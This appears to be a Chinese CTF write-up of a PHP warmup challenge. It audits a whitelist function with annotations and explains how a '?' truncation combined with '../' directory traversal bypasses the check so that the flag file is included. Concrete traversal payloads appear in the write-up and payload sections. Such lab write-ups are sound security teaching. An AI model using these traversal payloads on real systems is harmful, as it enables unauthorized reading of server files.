关注这个靶场的其它相关笔记:攻防世界(XCTF) —— 靶场笔记合集-CSDN博客
0x01:考点速览
本题考察的是 PHP 代码审计与目录遍历漏洞,想要通过本关,你需要了解以下知识点:
-
mb_strpos($str, $search_str)
-> 查找 中第一次出现search_str 的地方。 -
系统路径 bug,当路径中出现
/../
时第一个文件名多离谱都可以成功访问路径。
0x02:Write UP
登录页面,可以看到一张贱贱的笑脸:
老规矩,右击页面,查看网页源码,找找提示:
访问 source.php 文件,就可以看到后端的 PHP 过滤代码:
简单的做一下代码审计,内容我都以注释的形式展示:
-
- highlight_file(__FILE__);
- class emmm
- {
- public static function checkFile(&$page) // checkFile 检查逻辑 $page 即我们传入的 file
- {
- $whitelist = ["source" => "source.php", "hint" => "hint.php"];
- if (!isset($page) || !is_string($page)) { // 废话
- echo "you can't see it";
- return false;
- }
-
- if (in_array($page, $whitelist)) { // 如果文件在白名单中, return true
- return true;
- }
-
- $_page = mb_substr( // mb_substr -> 按规定截取文件中指定位置的字符串
- $page,
- 0,
- mb_strpos($page . '?', '?') // 将 $page 加上 ? 号后,再查找第一次出现 ? 的地方
- );
- if (in_array($_page, $whitelist)) { // 将截取后的字符串再与白名单中的文件名比较
- return true;
- }
-
- $_page = urldecode($page); // 对传入的 file 进行 url 解码
- $_page = mb_substr( // 下面逻辑同上
- $_page,
- 0,
- mb_strpos($_page . '?', '?')
- );
- if (in_array($_page, $whitelist)) {
- return true;
- }
- echo "you can't see it";
- return false;
- }
- }
-
- if (
- !empty($_REQUEST['file'])
- && is_string($_REQUEST['file'])
- && emmm::checkFile($_REQUEST['file']) // 接收参数 file, 要求 file 必须为字符串并且会对 file 进行检查
- ) {
- include $_REQUEST['file']; // 如果 checkFile 返回 true, 则包含目标文件
- exit;
- } else {
- echo "
"; - }
在 checkFile 函数中,白名单有两个页面,一个是 source.php 另一个是 hint.php,我们进入 hint.php 查看一下:
很诚实,告诉了我们保存 Flag 的文件名:ffffllllaaaagggg。
在 checkFile 函数中,目标有三次返回 true 的机会,第一次直接检查是否在白名单中,第二次根据问号截取后再检查是否在白名单中,第三次在 url 解码后重复第二次的过程。很明显,绕过第二次会比较简单,谁让?号可控呢。
如此,我们可以构造 Payload 如下:
?file=hint.php?/ffffllllaaaagggg
可以看到页面并没有鸟我们,但是也没有输出 “you can’t see it”,下面要做的就是不断往上级目录遍历即可,最终的 Payload 如下:
0x03:Payload 解析
为了防止部分读者无法看懂上面的 Payload,所以笔者特意写了此节来介绍一下上面那个 Payload 的诞生原理:
首先对于初始的 Payload :?file=hint.php?
这部分我相信疑问应该是比较少的。
按照上面的 Payload,目标后端接收到的数据实际为 hint.php?,而我绕过的是第二个判断:
-
- $_page = mb_substr(
- $page,
- 0,
- mb_strpos($page . '?', '?') // $page = "hint.php?"; -> mb_strpos("hint.php?" . '?', '?'); -> return 8
- ); // $_page = mb_substr("hint.php?", 0, 8); -> $_page = "hint.php";
- if (in_array($_page, $whitelist)) {
- return true;
- }
至此,checkFile 已经 return true 了,下面就进入了文件包含阶段。
include $_REQUEST['file'];
在这里我要做一个小实验,在 Windows 中按 Win+R 输入 cmd 即可进入实验环境,实验的过程如下:
可以看到,无论我一开始的文件名存不存在,当我在后面加上 ../
时,他都不会报错,甚至可以进入目录。依据此表现,我们就可以理解本题 Payload 最后包含的内容:
include hint.php?/../../../../ffffllllaaaagggg
他在执行包含的时候忽略了 hint.php?
,导致成功目录穿越包含到了 ffffllllaaaagggg
文件。
评论记录:
回复评论: